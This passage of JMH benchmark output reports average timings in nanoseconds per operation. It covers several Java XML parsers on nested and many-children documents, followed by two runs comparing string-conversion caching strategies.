22 ParserBenchmark.parseManyChildren Xom avgt 15 33057256.100 ± 297855.633 ns/op
23 ParserBenchmark.parseManyChildren Binary avgt 15 385824.031 ± 2954.123 ns/op
24 ParserBenchmark.parseManyChildren Jettison avgt 15 594530.928 ± 4278.299 ns/op
25 ParserBenchmark.parseNestedElements Xpp3 avgt 15 12332209.281 ± 64122.445 ns/op
26 ParserBenchmark.parseNestedElements kXML2 avgt 15 37562872.191 ± 643160.833 ns/op
27 ParserBenchmark.parseNestedElements JDKStax avgt 15 630602.435 ± 5082.416 ns/op
28 ParserBenchmark.parseNestedElements Woodstox avgt 15 852446.766 ± 6384.039 ns/op
29 ParserBenchmark.parseNestedElements BEAStax avgt 15 798003.236 ± 20589.177 ns/op
30 ParserBenchmark.parseNestedElements DOM avgt 15 5547526.718 ± 38346.961 ns/op
31 ParserBenchmark.parseNestedElements DOM4J avgt 15 5501080.957 ± 46423.792 ns/op
32 ParserBenchmark.parseNestedElements JDom avgt 15 19329741.881 ± 366881.645 ns/op
33 ParserBenchmark.parseNestedElements JDom2 avgt 15 18291190.166 ± 54336.659 ns/op
34 ParserBenchmark.parseNestedElements Xom avgt 15 5842749.643 ± 55364.906 ns/op
35 ParserBenchmark.parseNestedElements Binary avgt 15 255649.550 ± 4896.859 ns/op
36 ParserBenchmark.parseNestedElements Jettison avgt 15 674957.675 ± 6296.073 ns/op
00 Benchmark Mode Cnt Score Error Units
1 StringConverterBenchmark.intern avgt 16 12576002.757 ± 850369.771 ns/op
2 StringConverterBenchmark.limitedConcurrentMap avgt 16 10411028.373 ± 76602.128 ns/op
3 StringConverterBenchmark.limitedSynchronizedWeakCache avgt 16 10948390.386 ± 84458.276 ns/op
4 StringConverterBenchmark.nonCaching avgt 16 9422597.717 ± 39021.126 ns/op
5 StringConverterBenchmark.unlimitedConcurrentMap avgt 16 10666492.267 ± 285717.245 ns/op
6 StringConverterBenchmark.unlimitedSynchronizedWeakCache avgt 16 11917404.787 ± 1224543.882 ns/op
1 StringConverterBenchmark.intern avgt 16 12528650.663 ± 56567.910 ns/op
2 StringConverterBenchmark.limitedConcurrentMap avgt 16 10583918.884 ± 212931.336 ns/op
3 StringConverterBenchmark.limitedSynchronizedWeakCache avgt 16 11104926.490 ± 567963.839 ns/op
4 StringConverterBenchmark.nonCaching avgt 16 9381243.000 ± 11471.064 ns/op
5 StringConverterBenchmark.unlimitedConcurrentMap avgt 16 11762308.937 ± 510331.968 ns/op
6 StringConverterBenchmark.unlimitedSynchronizedWeakCache avgt 16 11092087.483 ± 546550.827 ns/op